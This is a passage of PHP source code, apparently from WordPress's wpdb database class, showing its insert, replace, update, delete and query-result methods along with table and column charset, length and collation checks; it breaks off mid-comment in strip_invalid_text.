  2078. public function remove_placeholder_escape( $query ) {
  2079. return str_replace( $this->placeholder_escape(), '%', $query );
  2080. }
  2081.  
  2082. /**
  2083. * Insert a row into a table.
  2084. *
  2085. * wpdb::insert( 'table', array( 'column' => 'foo', 'field' => 'bar' ) )
  2086. * wpdb::insert( 'table', array( 'column' => 'foo', 'field' => 1337 ), array( '%s', '%d' ) )
  2087. *
  2088. * @since 2.5.0
  2089. * @see wpdb::prepare()
  2090. * @see wpdb::$field_types
  2091. * @see wp_set_wpdb_vars()
  2092. *
  2093. * @param string $table Table name
  2094. * @param array $data Data to insert (in column => value pairs).
  2095. * Both $data columns and $data values should be "raw" (neither should be SQL escaped).
  2096. * Sending a null value will cause the column to be set to NULL - the corresponding format is ignored in this case.
  2097. * @param array|string $format Optional. An array of formats to be mapped to each of the value in $data.
  2098. * If string, that format will be used for all of the values in $data.
  2099. * A format is one of '%d', '%f', '%s' (integer, float, string).
  2100. * If omitted, all values in $data will be treated as strings unless otherwise specified in wpdb::$field_types.
  2101. * @return int|false The number of rows inserted, or false on error.
  2102. */
  2103. public function insert( $table, $data, $format = null ) {
  2104. return $this->_insert_replace_helper( $table, $data, $format, 'INSERT' );
  2105. }
  2106.  
  2107. /**
  2108. * Replace a row into a table.
  2109. *
  2110. * wpdb::replace( 'table', array( 'column' => 'foo', 'field' => 'bar' ) )
  2111. * wpdb::replace( 'table', array( 'column' => 'foo', 'field' => 1337 ), array( '%s', '%d' ) )
  2112. *
  2113. * @since 3.0.0
  2114. * @see wpdb::prepare()
  2115. * @see wpdb::$field_types
  2116. * @see wp_set_wpdb_vars()
  2117. *
  2118. * @param string $table Table name
  2119. * @param array $data Data to insert (in column => value pairs).
  2120. * Both $data columns and $data values should be "raw" (neither should be SQL escaped).
  2121. * Sending a null value will cause the column to be set to NULL - the corresponding format is ignored in this case.
  2122. * @param array|string $format Optional. An array of formats to be mapped to each of the value in $data.
  2123. * If string, that format will be used for all of the values in $data.
  2124. * A format is one of '%d', '%f', '%s' (integer, float, string).
  2125. * If omitted, all values in $data will be treated as strings unless otherwise specified in wpdb::$field_types.
  2126. * @return int|false The number of rows affected, or false on error.
  2127. */
  2128. public function replace( $table, $data, $format = null ) {
  2129. return $this->_insert_replace_helper( $table, $data, $format, 'REPLACE' );
  2130. }
  2131.  
  2132. /**
  2133. * Helper function for insert and replace.
  2134. *
  2135. * Runs an insert or replace query based on $type argument.
  2136. *
  2137. * @since 3.0.0
  2138. * @see wpdb::prepare()
  2139. * @see wpdb::$field_types
  2140. * @see wp_set_wpdb_vars()
  2141. *
  2142. * @param string $table Table name
  2143. * @param array $data Data to insert (in column => value pairs).
  2144. * Both $data columns and $data values should be "raw" (neither should be SQL escaped).
  2145. * Sending a null value will cause the column to be set to NULL - the corresponding format is ignored in this case.
  2146. * @param array|string $format Optional. An array of formats to be mapped to each of the value in $data.
  2147. * If string, that format will be used for all of the values in $data.
  2148. * A format is one of '%d', '%f', '%s' (integer, float, string).
  2149. * If omitted, all values in $data will be treated as strings unless otherwise specified in wpdb::$field_types.
  2150. * @param string $type Optional. What type of operation is this? INSERT or REPLACE. Defaults to INSERT.
  2151. * @return int|false The number of rows affected, or false on error.
  2152. */
  2153. function _insert_replace_helper( $table, $data, $format = null, $type = 'INSERT' ) {
  2154. $this->insert_id = 0;
  2155.  
  2156. if ( ! in_array( strtoupper( $type ), array( 'REPLACE', 'INSERT' ) ) ) {
  2157. return false;
  2158. }
  2159.  
  2160. $data = $this->process_fields( $table, $data, $format );
  2161. if ( false === $data ) {
  2162. return false;
  2163. }
  2164.  
  2165. $formats = $values = array();
  2166. foreach ( $data as $value ) {
  2167. if ( is_null( $value['value'] ) ) {
  2168. $formats[] = 'NULL';
  2169. continue;
  2170. }
  2171.  
  2172. $formats[] = $value['format'];
  2173. $values[] = $value['value'];
  2174. }
  2175.  
  2176. $fields = '`' . implode( '`, `', array_keys( $data ) ) . '`';
  2177. $formats = implode( ', ', $formats );
  2178.  
  2179. $sql = "$type INTO `$table` ($fields) VALUES ($formats)";
  2180.  
  2181. $this->check_current_query = false;
  2182. return $this->query( $this->prepare( $sql, $values ) );
  2183. }
  2184.  
  2185. /**
  2186. * Update a row in the table
  2187. *
  2188. * wpdb::update( 'table', array( 'column' => 'foo', 'field' => 'bar' ), array( 'ID' => 1 ) )
  2189. * wpdb::update( 'table', array( 'column' => 'foo', 'field' => 1337 ), array( 'ID' => 1 ), array( '%s', '%d' ), array( '%d' ) )
  2190. *
  2191. * @since 2.5.0
  2192. * @see wpdb::prepare()
  2193. * @see wpdb::$field_types
  2194. * @see wp_set_wpdb_vars()
  2195. *
  2196. * @param string $table Table name
  2197. * @param array $data Data to update (in column => value pairs).
  2198. * Both $data columns and $data values should be "raw" (neither should be SQL escaped).
  2199. * Sending a null value will cause the column to be set to NULL - the corresponding
  2200. * format is ignored in this case.
  2201. * @param array $where A named array of WHERE clauses (in column => value pairs).
  2202. * Multiple clauses will be joined with ANDs.
  2203. * Both $where columns and $where values should be "raw".
  2204. * Sending a null value will create an IS NULL comparison - the corresponding format will be ignored in this case.
  2205. * @param array|string $format Optional. An array of formats to be mapped to each of the values in $data.
  2206. * If string, that format will be used for all of the values in $data.
  2207. * A format is one of '%d', '%f', '%s' (integer, float, string).
  2208. * If omitted, all values in $data will be treated as strings unless otherwise specified in wpdb::$field_types.
  2209. * @param array|string $where_format Optional. An array of formats to be mapped to each of the values in $where.
  2210. * If string, that format will be used for all of the items in $where.
  2211. * A format is one of '%d', '%f', '%s' (integer, float, string).
  2212. * If omitted, all values in $where will be treated as strings.
  2213. * @return int|false The number of rows updated, or false on error.
  2214. */
  2215. public function update( $table, $data, $where, $format = null, $where_format = null ) {
  2216. if ( ! is_array( $data ) || ! is_array( $where ) ) {
  2217. return false;
  2218. }
  2219.  
  2220. $data = $this->process_fields( $table, $data, $format );
  2221. if ( false === $data ) {
  2222. return false;
  2223. }
  2224. $where = $this->process_fields( $table, $where, $where_format );
  2225. if ( false === $where ) {
  2226. return false;
  2227. }
  2228.  
  2229. $fields = $conditions = $values = array();
  2230. foreach ( $data as $field => $value ) {
  2231. if ( is_null( $value['value'] ) ) {
  2232. $fields[] = "`$field` = NULL";
  2233. continue;
  2234. }
  2235.  
  2236. $fields[] = "`$field` = " . $value['format'];
  2237. $values[] = $value['value'];
  2238. }
  2239. foreach ( $where as $field => $value ) {
  2240. if ( is_null( $value['value'] ) ) {
  2241. $conditions[] = "`$field` IS NULL";
  2242. continue;
  2243. }
  2244.  
  2245. $conditions[] = "`$field` = " . $value['format'];
  2246. $values[] = $value['value'];
  2247. }
  2248.  
  2249. $fields = implode( ', ', $fields );
  2250. $conditions = implode( ' AND ', $conditions );
  2251.  
  2252. $sql = "UPDATE `$table` SET $fields WHERE $conditions";
  2253.  
  2254. $this->check_current_query = false;
  2255. return $this->query( $this->prepare( $sql, $values ) );
  2256. }
  2257.  
  2258. /**
  2259. * Delete a row in the table
  2260. *
  2261. * wpdb::delete( 'table', array( 'ID' => 1 ) )
  2262. * wpdb::delete( 'table', array( 'ID' => 1 ), array( '%d' ) )
  2263. *
  2264. * @since 3.4.0
  2265. * @see wpdb::prepare()
  2266. * @see wpdb::$field_types
  2267. * @see wp_set_wpdb_vars()
  2268. *
  2269. * @param string $table Table name
  2270. * @param array $where A named array of WHERE clauses (in column => value pairs).
  2271. * Multiple clauses will be joined with ANDs.
  2272. * Both $where columns and $where values should be "raw".
  2273. * Sending a null value will create an IS NULL comparison - the corresponding format will be ignored in this case.
  2274. * @param array|string $where_format Optional. An array of formats to be mapped to each of the values in $where.
  2275. * If string, that format will be used for all of the items in $where.
  2276. * A format is one of '%d', '%f', '%s' (integer, float, string).
  2277. * If omitted, all values in $where will be treated as strings unless otherwise specified in wpdb::$field_types.
  2278. * @return int|false The number of rows updated, or false on error.
  2279. */
  2280. public function delete( $table, $where, $where_format = null ) {
  2281. if ( ! is_array( $where ) ) {
  2282. return false;
  2283. }
  2284.  
  2285. $where = $this->process_fields( $table, $where, $where_format );
  2286. if ( false === $where ) {
  2287. return false;
  2288. }
  2289.  
  2290. $conditions = $values = array();
  2291. foreach ( $where as $field => $value ) {
  2292. if ( is_null( $value['value'] ) ) {
  2293. $conditions[] = "`$field` IS NULL";
  2294. continue;
  2295. }
  2296.  
  2297. $conditions[] = "`$field` = " . $value['format'];
  2298. $values[] = $value['value'];
  2299. }
  2300.  
  2301. $conditions = implode( ' AND ', $conditions );
  2302.  
  2303. $sql = "DELETE FROM `$table` WHERE $conditions";
  2304.  
  2305. $this->check_current_query = false;
  2306. return $this->query( $this->prepare( $sql, $values ) );
  2307. }
  2308.  
  2309. /**
  2310. * Processes arrays of field/value pairs and field formats.
  2311. *
  2312. * This is a helper method for wpdb's CRUD methods, which take field/value
  2313. * pairs for inserts, updates, and where clauses. This method first pairs
  2314. * each value with a format. Then it determines the charset of that field,
  2315. * using that to determine if any invalid text would be stripped. If text is
  2316. * stripped, then field processing is rejected and the query fails.
  2317. *
  2318. * @since 4.2.0
  2319. *
  2320. * @param string $table Table name.
  2321. * @param array $data Field/value pair.
  2322. * @param mixed $format Format for each field.
  2323. * @return array|false Returns an array of fields that contain paired values
  2324. * and formats. Returns false for invalid values.
  2325. */
  2326. protected function process_fields( $table, $data, $format ) {
  2327. $data = $this->process_field_formats( $data, $format );
  2328. if ( false === $data ) {
  2329. return false;
  2330. }
  2331.  
  2332. $data = $this->process_field_charsets( $data, $table );
  2333. if ( false === $data ) {
  2334. return false;
  2335. }
  2336.  
  2337. $data = $this->process_field_lengths( $data, $table );
  2338. if ( false === $data ) {
  2339. return false;
  2340. }
  2341.  
  2342. $converted_data = $this->strip_invalid_text( $data );
  2343.  
  2344. if ( $data !== $converted_data ) {
  2345. return false;
  2346. }
  2347.  
  2348. return $data;
  2349. }
  2350.  
  2351. /**
  2352. * Prepares arrays of value/format pairs as passed to wpdb CRUD methods.
  2353. *
  2354. * @since 4.2.0
  2355. *
  2356. * @param array $data Array of fields to values.
  2357. * @param mixed $format Formats to be mapped to the values in $data.
  2358. * @return array Array, keyed by field names with values being an array
  2359. * of 'value' and 'format' keys.
  2360. */
  2361. protected function process_field_formats( $data, $format ) {
  2362. $formats = $original_formats = (array) $format;
  2363.  
  2364. foreach ( $data as $field => $value ) {
  2365. $value = array(
  2366. 'value' => $value,
  2367. 'format' => '%s',
  2368. );
  2369.  
  2370. if ( ! empty( $format ) ) {
  2371. $value['format'] = array_shift( $formats );
  2372. if ( ! $value['format'] ) {
  2373. $value['format'] = reset( $original_formats );
  2374. }
  2375. } elseif ( isset( $this->field_types[ $field ] ) ) {
  2376. $value['format'] = $this->field_types[ $field ];
  2377. }
  2378.  
  2379. $data[ $field ] = $value;
  2380. }
  2381.  
  2382. return $data;
  2383. }
  2384.  
  2385. /**
  2386. * Adds field charsets to field/value/format arrays generated by
  2387. * the wpdb::process_field_formats() method.
  2388. *
  2389. * @since 4.2.0
  2390. *
  2391. * @param array $data As it comes from the wpdb::process_field_formats() method.
  2392. * @param string $table Table name.
  2393. * @return array|false The same array as $data with additional 'charset' keys.
  2394. */
  2395. protected function process_field_charsets( $data, $table ) {
  2396. foreach ( $data as $field => $value ) {
  2397. if ( '%d' === $value['format'] || '%f' === $value['format'] ) {
  2398. /*
  2399. * We can skip this field if we know it isn't a string.
  2400. * This checks %d/%f versus ! %s because its sprintf() could take more.
  2401. */
  2402. $value['charset'] = false;
  2403. } else {
  2404. $value['charset'] = $this->get_col_charset( $table, $field );
  2405. if ( is_wp_error( $value['charset'] ) ) {
  2406. return false;
  2407. }
  2408. }
  2409.  
  2410. $data[ $field ] = $value;
  2411. }
  2412.  
  2413. return $data;
  2414. }
  2415.  
  2416. /**
  2417. * For string fields, record the maximum string length that field can safely save.
  2418. *
  2419. * @since 4.2.1
  2420. *
  2421. * @param array $data As it comes from the wpdb::process_field_charsets() method.
  2422. * @param string $table Table name.
  2423. * @return array|false The same array as $data with additional 'length' keys, or false if
  2424. * any of the values were too long for their corresponding field.
  2425. */
  2426. protected function process_field_lengths( $data, $table ) {
  2427. foreach ( $data as $field => $value ) {
  2428. if ( '%d' === $value['format'] || '%f' === $value['format'] ) {
  2429. /*
  2430. * We can skip this field if we know it isn't a string.
  2431. * This checks %d/%f versus ! %s because its sprintf() could take more.
  2432. */
  2433. $value['length'] = false;
  2434. } else {
  2435. $value['length'] = $this->get_col_length( $table, $field );
  2436. if ( is_wp_error( $value['length'] ) ) {
  2437. return false;
  2438. }
  2439. }
  2440.  
  2441. $data[ $field ] = $value;
  2442. }
  2443.  
  2444. return $data;
  2445. }
  2446.  
  2447. /**
  2448. * Retrieve one variable from the database.
  2449. *
  2450. * Executes a SQL query and returns the value from the SQL result.
  2451. * If the SQL result contains more than one column and/or more than one row, this function returns the value in the column and row specified.
  2452. * If $query is null, this function returns the value in the specified column and row from the previous SQL result.
  2453. *
  2454. * @since 0.71
  2455. *
  2456. * @param string|null $query Optional. SQL query. Defaults to null, use the result from the previous query.
  2457. * @param int $x Optional. Column of value to return. Indexed from 0.
  2458. * @param int $y Optional. Row of value to return. Indexed from 0.
  2459. * @return string|null Database query result (as string), or null on failure
  2460. */
  2461. public function get_var( $query = null, $x = 0, $y = 0 ) {
  2462. $this->func_call = "\$db->get_var(\"$query\", $x, $y)";
  2463.  
  2464. if ( $this->check_current_query && $this->check_safe_collation( $query ) ) {
  2465. $this->check_current_query = false;
  2466. }
  2467.  
  2468. if ( $query ) {
  2469. $this->query( $query );
  2470. }
  2471.  
  2472. // Extract var out of cached results based x,y vals
  2473. if ( ! empty( $this->last_result[ $y ] ) ) {
  2474. $values = array_values( get_object_vars( $this->last_result[ $y ] ) );
  2475. }
  2476.  
  2477. // If there is a value return it else return null
  2478. return ( isset( $values[ $x ] ) && $values[ $x ] !== '' ) ? $values[ $x ] : null;
  2479. }
  2480.  
  2481. /**
  2482. * Retrieve one row from the database.
  2483. *
  2484. * Executes a SQL query and returns the row from the SQL result.
  2485. *
  2486. * @since 0.71
  2487. *
  2488. * @param string|null $query SQL query.
  2489. * @param string $output Optional. The required return type. One of OBJECT, ARRAY_A, or ARRAY_N, which correspond to
  2490. * an stdClass object, an associative array, or a numeric array, respectively. Default OBJECT.
  2491. * @param int $y Optional. Row to return. Indexed from 0.
  2492. * @return array|object|null|void Database query result in format specified by $output or null on failure
  2493. */
  2494. public function get_row( $query = null, $output = OBJECT, $y = 0 ) {
  2495. $this->func_call = "\$db->get_row(\"$query\",$output,$y)";
  2496.  
  2497. if ( $this->check_current_query && $this->check_safe_collation( $query ) ) {
  2498. $this->check_current_query = false;
  2499. }
  2500.  
  2501. if ( $query ) {
  2502. $this->query( $query );
  2503. } else {
  2504. return null;
  2505. }
  2506.  
  2507. if ( ! isset( $this->last_result[ $y ] ) ) {
  2508. return null;
  2509. }
  2510.  
  2511. if ( $output == OBJECT ) {
  2512. return $this->last_result[ $y ] ? $this->last_result[ $y ] : null;
  2513. } elseif ( $output == ARRAY_A ) {
  2514. return $this->last_result[ $y ] ? get_object_vars( $this->last_result[ $y ] ) : null;
  2515. } elseif ( $output == ARRAY_N ) {
  2516. return $this->last_result[ $y ] ? array_values( get_object_vars( $this->last_result[ $y ] ) ) : null;
  2517. } elseif ( strtoupper( $output ) === OBJECT ) {
  2518. // Back compat for OBJECT being previously case insensitive.
  2519. return $this->last_result[ $y ] ? $this->last_result[ $y ] : null;
  2520. } else {
  2521. $this->print_error( ' $db->get_row(string query, output type, int offset) -- Output type must be one of: OBJECT, ARRAY_A, ARRAY_N' );
  2522. }
  2523. }
  2524.  
  2525. /**
  2526. * Retrieve one column from the database.
  2527. *
  2528. * Executes a SQL query and returns the column from the SQL result.
  2529. * If the SQL result contains more than one column, this function returns the column specified.
  2530. * If $query is null, this function returns the specified column from the previous SQL result.
  2531. *
  2532. * @since 0.71
  2533. *
  2534. * @param string|null $query Optional. SQL query. Defaults to previous query.
  2535. * @param int $x Optional. Column to return. Indexed from 0.
  2536. * @return array Database query result. Array indexed from 0 by SQL result row number.
  2537. */
  2538. public function get_col( $query = null, $x = 0 ) {
  2539. if ( $this->check_current_query && $this->check_safe_collation( $query ) ) {
  2540. $this->check_current_query = false;
  2541. }
  2542.  
  2543. if ( $query ) {
  2544. $this->query( $query );
  2545. }
  2546.  
  2547. $new_array = array();
  2548. // Extract the column values
  2549. if ( $this->last_result ) {
  2550. for ( $i = 0, $j = count( $this->last_result ); $i < $j; $i++ ) {
  2551. $new_array[ $i ] = $this->get_var( null, $x, $i );
  2552. }
  2553. }
  2554. return $new_array;
  2555. }
  2556.  
  2557. /**
  2558. * Retrieve an entire SQL result set from the database (i.e., many rows)
  2559. *
  2560. * Executes a SQL query and returns the entire SQL result.
  2561. *
  2562. * @since 0.71
  2563. *
  2564. * @param string $query SQL query.
  2565. * @param string $output Optional. Any of ARRAY_A | ARRAY_N | OBJECT | OBJECT_K constants.
  2566. * With one of the first three, return an array of rows indexed from 0 by SQL result row number.
  2567. * Each row is an associative array (column => value, ...), a numerically indexed array (0 => value, ...), or an object. ( ->column = value ), respectively.
  2568. * With OBJECT_K, return an associative array of row objects keyed by the value of each row's first column's value.
  2569. * Duplicate keys are discarded.
  2570. * @return array|object|null Database query results
  2571. */
  2572. public function get_results( $query = null, $output = OBJECT ) {
  2573. $this->func_call = "\$db->get_results(\"$query\", $output)";
  2574.  
  2575. if ( $this->check_current_query && $this->check_safe_collation( $query ) ) {
  2576. $this->check_current_query = false;
  2577. }
  2578.  
  2579. if ( $query ) {
  2580. $this->query( $query );
  2581. } else {
  2582. return null;
  2583. }
  2584.  
  2585. $new_array = array();
  2586. if ( $output == OBJECT ) {
  2587. // Return an integer-keyed array of row objects
  2588. return $this->last_result;
  2589. } elseif ( $output == OBJECT_K ) {
  2590. // Return an array of row objects with keys from column 1
  2591. // (Duplicates are discarded)
  2592. if ( $this->last_result ) {
  2593. foreach ( $this->last_result as $row ) {
  2594. $var_by_ref = get_object_vars( $row );
  2595. $key = array_shift( $var_by_ref );
  2596. if ( ! isset( $new_array[ $key ] ) ) {
  2597. $new_array[ $key ] = $row;
  2598. }
  2599. }
  2600. }
  2601. return $new_array;
  2602. } elseif ( $output == ARRAY_A || $output == ARRAY_N ) {
  2603. // Return an integer-keyed array of...
  2604. if ( $this->last_result ) {
  2605. foreach ( (array) $this->last_result as $row ) {
  2606. if ( $output == ARRAY_N ) {
  2607. // ...integer-keyed row arrays
  2608. $new_array[] = array_values( get_object_vars( $row ) );
  2609. } else {
  2610. // ...column name-keyed row arrays
  2611. $new_array[] = get_object_vars( $row );
  2612. }
  2613. }
  2614. }
  2615. return $new_array;
  2616. } elseif ( strtoupper( $output ) === OBJECT ) {
  2617. // Back compat for OBJECT being previously case insensitive.
  2618. return $this->last_result;
  2619. }
  2620. return null;
  2621. }
  2622.  
  2623. /**
  2624. * Retrieves the character set for the given table.
  2625. *
  2626. * @since 4.2.0
  2627. *
  2628. * @param string $table Table name.
  2629. * @return string|WP_Error Table character set, WP_Error object if it couldn't be found.
  2630. */
  2631. protected function get_table_charset( $table ) {
  2632. $tablekey = strtolower( $table );
  2633.  
  2634. /**
  2635. * Filters the table charset value before the DB is checked.
  2636. *
  2637. * Passing a non-null value to the filter will effectively short-circuit
  2638. * checking the DB for the charset, returning that value instead.
  2639. *
  2640. * @since 4.2.0
  2641. *
  2642. * @param string $charset The character set to use. Default null.
  2643. * @param string $table The name of the table being checked.
  2644. */
  2645. $charset = apply_filters( 'pre_get_table_charset', null, $table );
  2646. if ( null !== $charset ) {
  2647. return $charset;
  2648. }
  2649.  
  2650. if ( isset( $this->table_charset[ $tablekey ] ) ) {
  2651. return $this->table_charset[ $tablekey ];
  2652. }
  2653.  
  2654. $charsets = $columns = array();
  2655.  
  2656. $table_parts = explode( '.', $table );
  2657. $table = '`' . implode( '`.`', $table_parts ) . '`';
  2658. $results = $this->get_results( "SHOW FULL COLUMNS FROM $table" );
  2659. if ( ! $results ) {
  2660. return new WP_Error( 'wpdb_get_table_charset_failure' );
  2661. }
  2662.  
  2663. foreach ( $results as $column ) {
  2664. $columns[ strtolower( $column->Field ) ] = $column;
  2665. }
  2666.  
  2667. $this->col_meta[ $tablekey ] = $columns;
  2668.  
  2669. foreach ( $columns as $column ) {
  2670. if ( ! empty( $column->Collation ) ) {
  2671. list( $charset ) = explode( '_', $column->Collation );
  2672.  
  2673. // If the current connection can't support utf8mb4 characters, let's only send 3-byte utf8 characters.
  2674. if ( 'utf8mb4' === $charset && ! $this->has_cap( 'utf8mb4' ) ) {
  2675. $charset = 'utf8';
  2676. }
  2677.  
  2678. $charsets[ strtolower( $charset ) ] = true;
  2679. }
  2680.  
  2681. list( $type ) = explode( '(', $column->Type );
  2682.  
  2683. // A binary/blob means the whole query gets treated like this.
  2684. if ( in_array( strtoupper( $type ), array( 'BINARY', 'VARBINARY', 'TINYBLOB', 'MEDIUMBLOB', 'BLOB', 'LONGBLOB' ) ) ) {
  2685. $this->table_charset[ $tablekey ] = 'binary';
  2686. return 'binary';
  2687. }
  2688. }
  2689.  
  2690. // utf8mb3 is an alias for utf8.
  2691. if ( isset( $charsets['utf8mb3'] ) ) {
  2692. $charsets['utf8'] = true;
  2693. unset( $charsets['utf8mb3'] );
  2694. }
  2695.  
  2696. // Check if we have more than one charset in play.
  2697. $count = count( $charsets );
  2698. if ( 1 === $count ) {
  2699. $charset = key( $charsets );
  2700. } elseif ( 0 === $count ) {
  2701. // No charsets, assume this table can store whatever.
  2702. $charset = false;
  2703. } else {
  2704. // More than one charset. Remove latin1 if present and recalculate.
  2705. unset( $charsets['latin1'] );
  2706. $count = count( $charsets );
  2707. if ( 1 === $count ) {
  2708. // Only one charset (besides latin1).
  2709. $charset = key( $charsets );
  2710. } elseif ( 2 === $count && isset( $charsets['utf8'], $charsets['utf8mb4'] ) ) {
  2711. // Two charsets, but they're utf8 and utf8mb4, use utf8.
  2712. $charset = 'utf8';
  2713. } else {
  2714. // Two mixed character sets. ascii.
  2715. $charset = 'ascii';
  2716. }
  2717. }
  2718.  
  2719. $this->table_charset[ $tablekey ] = $charset;
  2720. return $charset;
  2721. }
  2722.  
  2723. /**
  2724. * Retrieves the character set for the given column.
  2725. *
  2726. * @since 4.2.0
  2727. *
  2728. * @param string $table Table name.
  2729. * @param string $column Column name.
  2730. * @return string|false|WP_Error Column character set as a string. False if the column has no
  2731. * character set. WP_Error object if there was an error.
  2732. */
  2733. public function get_col_charset( $table, $column ) {
  2734. $tablekey = strtolower( $table );
  2735. $columnkey = strtolower( $column );
  2736.  
  2737. /**
  2738. * Filters the column charset value before the DB is checked.
  2739. *
  2740. * Passing a non-null value to the filter will short-circuit
  2741. * checking the DB for the charset, returning that value instead.
  2742. *
  2743. * @since 4.2.0
  2744. *
  2745. * @param string $charset The character set to use. Default null.
  2746. * @param string $table The name of the table being checked.
  2747. * @param string $column The name of the column being checked.
  2748. */
  2749. $charset = apply_filters( 'pre_get_col_charset', null, $table, $column );
  2750. if ( null !== $charset ) {
  2751. return $charset;
  2752. }
  2753.  
  2754. // Skip this entirely if this isn't a MySQL database.
  2755. if ( empty( $this->is_mysql ) ) {
  2756. return false;
  2757. }
  2758.  
  2759. if ( empty( $this->table_charset[ $tablekey ] ) ) {
  2760. // This primes column information for us.
  2761. $table_charset = $this->get_table_charset( $table );
  2762. if ( is_wp_error( $table_charset ) ) {
  2763. return $table_charset;
  2764. }
  2765. }
  2766.  
  2767. // If still no column information, return the table charset.
  2768. if ( empty( $this->col_meta[ $tablekey ] ) ) {
  2769. return $this->table_charset[ $tablekey ];
  2770. }
  2771.  
  2772. // If this column doesn't exist, return the table charset.
  2773. if ( empty( $this->col_meta[ $tablekey ][ $columnkey ] ) ) {
  2774. return $this->table_charset[ $tablekey ];
  2775. }
  2776.  
  2777. // Return false when it's not a string column.
  2778. if ( empty( $this->col_meta[ $tablekey ][ $columnkey ]->Collation ) ) {
  2779. return false;
  2780. }
  2781.  
  2782. list( $charset ) = explode( '_', $this->col_meta[ $tablekey ][ $columnkey ]->Collation );
  2783. return $charset;
  2784. }
  2785.  
  2786. /**
  2787. * Retrieve the maximum string length allowed in a given column.
  2788. * The length may either be specified as a byte length or a character length.
  2789. *
  2790. * @since 4.2.1
  2791. *
  2792. * @param string $table Table name.
  2793. * @param string $column Column name.
  2794. * @return array|false|WP_Error array( 'length' => (int), 'type' => 'byte' | 'char' )
  2795. * false if the column has no length (for example, numeric column)
  2796. * WP_Error object if there was an error.
  2797. */
  2798. public function get_col_length( $table, $column ) {
  2799. $tablekey = strtolower( $table );
  2800. $columnkey = strtolower( $column );
  2801.  
  2802. // Skip this entirely if this isn't a MySQL database.
  2803. if ( empty( $this->is_mysql ) ) {
  2804. return false;
  2805. }
  2806.  
  2807. if ( empty( $this->col_meta[ $tablekey ] ) ) {
  2808. // This primes column information for us.
  2809. $table_charset = $this->get_table_charset( $table );
  2810. if ( is_wp_error( $table_charset ) ) {
  2811. return $table_charset;
  2812. }
  2813. }
  2814.  
  2815. if ( empty( $this->col_meta[ $tablekey ][ $columnkey ] ) ) {
  2816. return false;
  2817. }
  2818.  
  2819. $typeinfo = explode( '(', $this->col_meta[ $tablekey ][ $columnkey ]->Type );
  2820.  
  2821. $type = strtolower( $typeinfo[0] );
  2822. if ( ! empty( $typeinfo[1] ) ) {
  2823. $length = trim( $typeinfo[1], ')' );
  2824. } else {
  2825. $length = false;
  2826. }
  2827.  
  2828. switch ( $type ) {
  2829. case 'char':
  2830. case 'varchar':
  2831. return array(
  2832. 'type' => 'char',
  2833. 'length' => (int) $length,
  2834. );
  2835.  
  2836. case 'binary':
  2837. case 'varbinary':
  2838. return array(
  2839. 'type' => 'byte',
  2840. 'length' => (int) $length,
  2841. );
  2842.  
  2843. case 'tinyblob':
  2844. case 'tinytext':
  2845. return array(
  2846. 'type' => 'byte',
  2847. 'length' => 255, // 2^8 - 1
  2848. );
  2849.  
  2850. case 'blob':
  2851. case 'text':
  2852. return array(
  2853. 'type' => 'byte',
  2854. 'length' => 65535, // 2^16 - 1
  2855. );
  2856.  
  2857. case 'mediumblob':
  2858. case 'mediumtext':
  2859. return array(
  2860. 'type' => 'byte',
  2861. 'length' => 16777215, // 2^24 - 1
  2862. );
  2863.  
  2864. case 'longblob':
  2865. case 'longtext':
  2866. return array(
  2867. 'type' => 'byte',
  2868. 'length' => 4294967295, // 2^32 - 1
  2869. );
  2870.  
  2871. default:
  2872. return false;
  2873. }
  2874. }
  2875.  
  2876. /**
  2877. * Check if a string is ASCII.
  2878. *
  2879. * The negative regex is faster for non-ASCII strings, as it allows
  2880. * the search to finish as soon as it encounters a non-ASCII character.
  2881. *
  2882. * @since 4.2.0
  2883. *
  2884. * @param string $string String to check.
  2885. * @return bool True if ASCII, false if not.
  2886. */
  2887. protected function check_ascii( $string ) {
  2888. if ( function_exists( 'mb_check_encoding' ) ) {
  2889. if ( mb_check_encoding( $string, 'ASCII' ) ) {
  2890. return true;
  2891. }
  2892. } elseif ( ! preg_match( '/[^\x00-\x7F]/', $string ) ) {
  2893. return true;
  2894. }
  2895.  
  2896. return false;
  2897. }
  2898.  
  2899. /**
  2900. * Check if the query is accessing a collation considered safe on the current version of MySQL.
  2901. *
  2902. * @since 4.2.0
  2903. *
  2904. * @param string $query The query to check.
  2905. * @return bool True if the collation is safe, false if it isn't.
  2906. */
  2907. protected function check_safe_collation( $query ) {
  2908. if ( $this->checking_collation ) {
  2909. return true;
  2910. }
  2911.  
  2912. // We don't need to check the collation for queries that don't read data.
  2913. $query = ltrim( $query, "\r\n\t (" );
  2914. if ( preg_match( '/^(?:SHOW|DESCRIBE|DESC|EXPLAIN|CREATE)\s/i', $query ) ) {
  2915. return true;
  2916. }
  2917.  
  2918. // All-ASCII queries don't need extra checking.
  2919. if ( $this->check_ascii( $query ) ) {
  2920. return true;
  2921. }
  2922.  
  2923. $table = $this->get_table_from_query( $query );
  2924. if ( ! $table ) {
  2925. return false;
  2926. }
  2927.  
  2928. $this->checking_collation = true;
  2929. $collation = $this->get_table_charset( $table );
  2930. $this->checking_collation = false;
  2931.  
  2932. // Tables with no collation, or latin1 only, don't need extra checking.
  2933. if ( false === $collation || 'latin1' === $collation ) {
  2934. return true;
  2935. }
  2936.  
  2937. $table = strtolower( $table );
  2938. if ( empty( $this->col_meta[ $table ] ) ) {
  2939. return false;
  2940. }
  2941.  
  2942. // If any of the columns don't have one of these collations, it needs more sanity checking.
  2943. foreach ( $this->col_meta[ $table ] as $col ) {
  2944. if ( empty( $col->Collation ) ) {
  2945. continue;
  2946. }
  2947.  
  2948. if ( ! in_array( $col->Collation, array( 'utf8_general_ci', 'utf8_bin', 'utf8mb4_general_ci', 'utf8mb4_bin' ), true ) ) {
  2949. return false;
  2950. }
  2951. }
  2952.  
  2953. return true;
  2954. }
  2955.  
  2956. /**
  2957. * Strips any invalid characters based on value/charset pairs.
  2958. *
  2959. * @since 4.2.0
  2960. *
  2961. * @param array $data Array of value arrays. Each value array has the keys
  2962. * 'value' and 'charset'. An optional 'ascii' key can be
  2963. * set to false to avoid redundant ASCII checks.
  2964. * @return array|WP_Error The $data parameter, with invalid characters removed from
  2965. * each value. This works as a passthrough: any additional keys
  2966. * such as 'field' are retained in each value array. If we cannot
  2967. * remove invalid characters, a WP_Error object is returned.
  2968. */
  2969. protected function strip_invalid_text( $data ) {
  2970. $db_check_string = false;
  2971.  
  2972. foreach ( $data as &$value ) {
  2973. $charset = $value['charset'];
  2974.  
  2975. if ( is_array( $value['length'] ) ) {
  2976. $length = $value['length']['length'];
  2977. $truncate_by_byte_length = 'byte' === $value['length']['type'];
  2978. } else {
  2979. $length = false;
  2980. // Since we have no length, we'll never truncate.
  2981. // Initialize the variable to false. true would take us
